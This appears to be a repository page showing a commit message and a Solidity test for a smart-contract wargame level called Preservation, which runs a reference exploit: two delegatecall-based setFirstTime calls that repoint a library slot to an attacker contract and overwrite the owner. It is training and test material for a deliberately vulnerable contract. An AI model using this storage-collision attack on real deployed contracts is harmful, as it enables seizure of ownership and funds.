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zeekayandHanzo Dev
8c2e9e3d6f
Each level test proves a fresh instance is unsolved, runs the reference exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux records completion. Motorbike stops at seizing the uninitialised Engine: its "engine destroyed" completion needs selfdestruct to delete code, which EIP-6780 forbids across transactions on the Cancun baseline, so the test proves the seizure and documents the limit. Co-authored-by: Hanzo Dev <[email protected]>
35 lines
1.2 KiB
Solidity
35 lines
1.2 KiB
Solidity
// SPDX-License-Identifier: MIT
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pragma solidity 0.8.37;
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import {LuxTest} from "../Base.t.sol";
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import {PreservationFactory} from "../../src/levels/PreservationFactory.sol";
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import {Preservation} from "../../src/levels/Preservation.sol";
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import {PreservationAttack} from "../../src/attacks/PreservationAttack.sol";
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contract PreservationLevel is LuxTest {
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PreservationFactory factory;
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address player = makeAddr("player");
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function setUp() public {
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_deployCore();
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factory = new PreservationFactory();
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_register(factory);
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}
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function test_solve() public {
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address instance = _create(factory, player, 0);
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_assertUnsolved(instance, player);
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// First delegatecall repoints the library to our attacker; the second
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// delegatecalls it to overwrite the owner slot.
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PreservationAttack attack = new PreservationAttack();
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vm.startPrank(player, player);
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Preservation(instance).setFirstTime(uint256(uint160(address(attack))));
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Preservation(instance).setFirstTime(uint256(uint160(player)));
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vm.stopPrank();
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assertEq(Preservation(instance).owner(), player);
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_assertSolved(factory, instance, player);
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}
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}
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